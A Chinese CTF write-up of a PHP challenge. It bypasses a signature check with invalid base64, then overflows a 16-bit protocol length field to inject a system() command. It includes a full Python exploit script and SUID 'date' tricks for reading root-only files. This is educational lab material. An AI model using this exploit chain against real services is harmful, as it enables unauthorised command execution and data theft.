参考文章:https://fushuling.com/index.php/2025/07/14/mocsctf2025-ez-writeez-injection/
进入题目,发现签名验证失败

查看源码,可以发现,验证签名的逻辑其实就是检查请求头中的 X-Signature字段,将字段内容进行base64解码,再与 Secret_key 进行比对。但是在base64解码X-Signature时,存在严重的逻辑漏洞,如果X-Signature中的内容无法进行base64编码,则会抛出异常,但抛出异常后,并未结束进程,而是继续往下执行,这就是我们绕过签名验证的机会。

那么如何让base64解码失败呢?首先看看base64编码所使用的字符:
大写字母A-Z(26个)
小写字母a-z(26个)
数字0-9(10个)
符号"+"和"/"(2个)
填充字符"="
Base64解码出错通常有以下几个原因:
1. 字符集问题
Base64只允许使用上述64个特定字符和填充符"="。
2. 长度问题
Base64编码后的字符串长度必须是4的倍数。如果输入的编码字符串长度不是4的倍数,解码时就会出错。
3. 填充符使用错误
Base64编码可能包含填充符"=",如果填充符使用不正确,也会导致解码失败。
所以我们直接抓包,在请求头中构造一个非法的base64字符,即可绕过签名认证,这里使用X-Signature:##

果然,在抛出异常后未结束进程,成功绕过

来到该页面,可以看到有三个跟时间相关的功能。查看源码,后端依次对应为function A B C。
但是在看这三个方法之前,我们先要了解一个知识点,即服务与服务之间的通信,都是通过二进制协议来传输的。比如web服务向PostgreSQL服务传递查询语句,都是封装在二进制协议中,该二进制协议报文结构如下:

1. Type (标识符) - 1 字节
-
内容:'Q'
-
含义:消息的类型。在 PostgreSQL 协议中,'Q' 代表这是一个 "Simple Query"(简单查询) 消息。它告诉接收方(服务器):"嘿,后面跟着一段纯文本 SQL 语句,请执行它。"
2. Length (长度) - 4 字节
-
内容:00 00 00 17(十六进制)
-
含义:表示整个消息的长度(通常包括长度字段本身,但不包括类型标识符 'Q')。
-
计算:十六进制的 17 等于十进制的 23。
这意味着从"长度"这 4 个字节开始,后面一共还有 23 个字节的数据。
3. Value (数据内容) - 变长
-
内容:"SELECT ..."
-
含义:实际承载的负载数据(Payload)。
细节:对于 'Q' 类型的消息,这里存放的是以空字符(\0)结尾的 SQL 查询字符串。

查看源码,ABC三个Function都将data构造成了二进制协议格式,首先是一位标识符(A/B/C),再使用了pack函数,将数据打包成二进制字符串,参数n表示无符号短整型(16位,大端字节序),strlen函数获取command长度,最后将要执行的命令拼接在最后面。这正好与上面讲的二进制协议报文结构一致
随后将构造好的二进制流传递给execute.php

在execute.php中,先解析二进制流,提取出完整的command
1.循环条件
php
while ($offset + 3 <= strlen($input))
这里的while循环,作用是只要剩余的数据长度还够读出一个"头部"(1字节类型 + 2字节长度 = 3字节),就继续解析。这很重要,为后续漏洞利用做铺垫
2.提取类型 (Type)
php
$type = $input[$offset];
读取当前位置的第 1 个字节。这通常代表指令的类别(这里就是 A/B/C, 代表三个时间操作Function)
3.解析长度 (Length)
php
$length = unpack('n', substr($input, $offset + 1, 2))[1];
-
substr(..., 1, 2):跳过类型字节,取出接下来的 2 个字节。
-
unpack('n', ...):这是核心。n 代表 大端序(Big-Endian)无符号短整型(16位)。它把这两个二进制字节转成我们看得懂的数字(0-65535)。
-
结论: 这行代码告诉程序:"接下来的指令内容具体有多少个字节"。
4. 提取内容 (Command)
php
$command = substr($input, $offset + 3, $length);
根据刚才算出的 $length,从头部之后的位置精准截取对应长度的字符串。这就是实际的Command。
5. 移动指针 (Offset Update)
php
$offset += 3 + $length;
将游标向前跳过"已读完"的部分(3字节头部 + 数据长度),准备解析下一个包。

如果传入的Function不是A也不是B,则会报错退出。如果是B,则先判断传入的日期是否合法,不合法则报错退出;合法,则直接使用system执行date -d。
分析到这里,我们看到出现了疑似注入点system函数。B方法传入的日期虽然可控,但是会先检查传入值的合法性。只有标头为A,才会直接执行。但A方法的command又写死了,不可控,这道题好像又无解了?

事实上,CVE-2024-27304的漏洞原理,可以利用于此,是源于Paul Gerste在DEF CON 32上分享的议题,关于协议层的sql注入:
所以我们再来看这个二进制协议的结构,使用n代码,即16位无符号整数:

1. "16位" (16-bit) ------ 容器的大小
在计算机世界里,"位"(bit)是最小的单位,只能是 0 或 1。
-
16位 意味着计算机分配了 16个连续的开关(0或1)来存储这一个数字。
-
就像一个有 16 个格子的柜子,每个格子只能放 0 或 1。
2. "无符号" (Unsigned) ------ 只有正数
- 有符号 (Signed):第一位通常用来表示正负号(0是正,1是负),所以剩下的位才用来表示数值。
- 无符号 (Unsigned):不预留符号位。所有的 16 位全部用来表示数值的大小。这意味着它不能表示负数,只能表示 0 和正整数。
3. "整数" (Integer) ------ 没有小数点
它只能存储像 1, 100, 5000 这样的整数,不能存储 3.14 或 0.5。
所以这个二进制协议流是有长度限制的,即 216=655362^{16} = 65536216=65536,转换为16进制最大值即为FFFF。那么如果我们发送一个超过长度限制的报文,会怎样呢?
这里我们先用题目的源码,在本地测试一下。
首先我们发送一个正常的报文,再使用wireshark抓包。

因为我们要查看index.php向execute.php发送的二进制协议流,所以我们要抓取服务端的loopback环回接口,原因如下,以我当前的实验环境为例:
我的网络架构:
bash
Windows浏览器 <---> Ubuntu虚拟机(ens33) <---> index.php -> execute.php
↑
虚拟网卡(VMnet8/NAT)
当我们在index.php提交一个post表单后,数据包传递过程为:
第一段:Windows浏览器 → index.php
方向:Windows物理机 → Ubuntu虚拟机
路径:
-
Windows端
- 浏览器发送POST请求到Ubuntu的IP地址(如
http://192.168.x.x:9000/index.php) - 先到Windows的 虚拟网卡(VMnet8,NAT模式)
- 通过虚拟网卡流出
- 浏览器发送POST请求到Ubuntu的IP地址(如
-
Ubuntu端
- 从 ens33(或eth0)接收数据包
- 交给PHP内置服务器/Apache/Nginx处理
总结:Windows→VMnet8→ens33→PHP服务
第二段:index.php → execute.php
方向:Ubuntu虚拟机内部
这取决于PHP服务监听的地址:
情况1:监听127.0.0.1(最常见)
bash
php -S 127.0.0.1:9000
# 或
Listen 127.0.0.1:9000
路径:
- 完全走 loopback接口(lo)
- 不经过物理网卡ens33
情况2:监听0.0.0.0或内网IP
bash
php -S 0.0.0.0:9000
# 或
Listen 0.0.0.0:9000
路径:
- 可能会走 ens33
- 取决于具体的路由和绑定配置
第三段:execute.php → index.php → Windows浏览器
方向:Ubuntu虚拟机 → Windows物理机
路径:
- execute.php处理完成后返回响应
- 响应先到Ubuntu的ens33
- 通过虚拟网卡VMnet8
- 到达Windows浏览器
综上所述,我们先在Windows中向index.php提交表单

随后在Linux下运行wireshark,抓取loopback网卡,并直接输入筛选条件http.request.uri contains "execute.php"


在此我们就能看到,index拿到我们提交的日期后,通过pack函数打包后的结果
bash
Data: 42000a323032362d30322d3139
42是B的十六进制,代表了这次协议的标志B,十六进制中的a表示十进制的10,所以000a代表了这次请求载荷的长度是10,后面的323032362d30322d3139就是实际载荷2026-02-19
如果我们在日期后面随便再加1个值,会发现Length字段变为000b,也就是11

那么已知这里的长度字段最大值为ffff,如果超过这个值会怎样呢?我们将data写入65536个A

随后发现,Length字段通过截取后变为了0000

然而通过查看后端逻辑,可以发现,后端从何处开始截取载荷,正是取决于Length字段。如果Length为10,则从Length字段后开始,向后截取10位作为载荷。那么现在既然我们可以控制Length字段,让它随意截取,那么我们构造一个如下payload:
| 标头 | 长度 | 数据 | 标头 | 长度 | 数据 | |
|---|---|---|---|---|---|---|
| 字符 | B | 10 | 2026-02-19 | A | 6 | whamiAAA(适当数量的A)...... |
| 十六进制 | 42 | 000a | 323032362d30322d3139 | 41 | 0006 | 7768616d69414141...... |
通过在2026-02-19后添加一个合法的标头为A的二进制协议数据(因为标头为A后面的命令会直接放入system执行),并放入我们要执行的命令,随后在后面添加填充字符,使长度溢出后截断,刚好留下A标头以及后面的数据,此时由于while循环,会继续按着类似的逻辑解析下一个二进制协议,直到整个请求解析结束,于是我们构造的A标头中的命令就被执行了。
最终脚本如下:
python
import http.client
import struct
import gzip
import io
import base64
# 构造头部用到的签名
x_signature = "##"
def build_packet(command: str) -> str:
prefix = b"A"
length = struct.pack(">H", len(command))
payload = command.encode()
full_packet = prefix + length + payload
return full_packet.hex()
# command2execute = "find / -perm -u=s -type f 2>/dev/null"
# command2execute = "date -f /f* 2>&1"
# command2execute = "cat /f* 2>&1"
#command2execute = "ls -al /"
command2execute = "whoami"
command = (
"bash -c '{echo,"
+ base64.b64encode(command2execute.encode()).decode()
+ "}|{base64,-d}|{bash,-i}'"
)
HexCommand = build_packet(command)
# print(HexCommand)
hex_part = bytes.fromhex(HexCommand)
prefix = "function=B&date=2012-12-11"
prefix_bytes = prefix.encode()
total_length = 65536
filler_len = total_length - len(hex_part)
# 构造请求体:前缀 + 协议包 + 填充
body = prefix_bytes + hex_part + b"A" * filler_len
# target_url = "localhost:9999"
target_url = "192.168.233.142"
# 构造 headers
headers = {
"Host": target_url,
"X-Signature": x_signature,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": target_url,
"Referer": target_url,
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"Connection": "close",
"Content-Length": str(len(body)),
}
# 发起请求
conn = http.client.HTTPConnection(target_url)
conn.request("POST", "/", body=body, headers=headers)
# 读取响应
res = conn.getresponse()
print(f"Status: {res.status}")
# print(res.read().decode(errors="ignore"))
raw_data = res.read()
try:
with gzip.GzipFile(fileobj=io.BytesIO(raw_data)) as f:
decompressed_data = f.read()
text = decompressed_data.decode("utf-8", errors="ignore")
print(text)
except Exception as e:
print(f"解压失败: {e}")
print(raw_data)
这道题的flag为root只读,所以直接cat /flag还不行,所以用find / -perm -u=s -type f 2>/dev/null查一下suid,可以发现date存在suid提权的可能,但直接使用date -f /f* 在页面上其实是看不到输出的,因为代码逻辑其实是读取了缓冲区的结果进行输出,错误信息(我们的date -f执行得到的就是错误信息)通常会输出到标准错误流(stderr)中,而不会写入到标准输出流(stdout)中。因此要想在页面上看到输出,我们需要把错误信息也输出到缓冲区,最后能打通的payload其实是date -f /f* 2>&1

总结一下,这道题通过溢出Length字段,从而控制二进制协议报文长度,从而截取报文,留下我们想要的内容,实现注入